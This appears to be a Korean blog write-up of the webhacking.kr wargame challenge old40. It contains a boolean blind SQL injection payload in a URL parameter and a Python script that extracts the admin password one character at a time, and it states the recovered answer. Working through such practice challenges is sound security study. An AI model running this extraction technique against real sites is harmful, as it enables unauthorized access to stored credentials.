webhacking.kr - old40

2021. 4. 17. 00:19WarGame/webhaking.kr

초반에 문제 페이지를 들어가면 아래와 같은 화면이 있습니다.

기본적인 sqli입니다.

no 부분에서 sqli가 터지는 것을 확인할 수 있습니다.

해당 부분에서 쿼리를 줘서 password의 길이를 파악할 수 있습니다.

> webhacking.kr/challenge/web-29/?no=0%7C%7Cid%3D0x61646d696e%26%26length%28pw%29%3E0&id=guest&pw=guest

 

 

Challenge 40

 

webhacking.kr

 

하나하나 해보면 pw의 길이는 총 10 이라는 것을 알 수 있고,

아래 코드를 돌림으로써 모든 password를 획득할 수 있습니다.

import requests


result = ""
string = "abcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-=+[]{};:'\"<>,.?/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(1, 11) :
    for j in string :
        URL = "https://webhacking.kr/challenge/web-29/?no=0||substr(pw," + str(i) + ",1)=" + str(hex(ord(j))) + "&id=admin&pw=admin"
        response=requests.get(URL)
        print(URL)
        if("admin" in response.text) :
            print("["+str(i)+"th] password is = " + str(j))
            result += str(chr(ord(j)))
            print(result)
            break;
print(result)

 

위 코드를 돌리게되면

2번째 글자가 제외된 lck_admin 이라는 password를 획득할 수 있는데,

luck_admin 으로 10글자 guessingd으로 풀어주면 됩니다.

 

왜 2번째 글자가 빠지는 것인지는 모르겠지만.. 연구가 필요해 보입니다.

'WarGame > webhaking.kr' 카테고리의 다른 글

webhacking.kr - old09  (0) 2021.04.20
webhacking.kr - old29  (0) 2021.04.16
webhacking.kr - old45  (0) 2021.04.15
webhacking.kr - old50  (0) 2021.04.14
webhacking.kr - old28  (0) 2021.04.13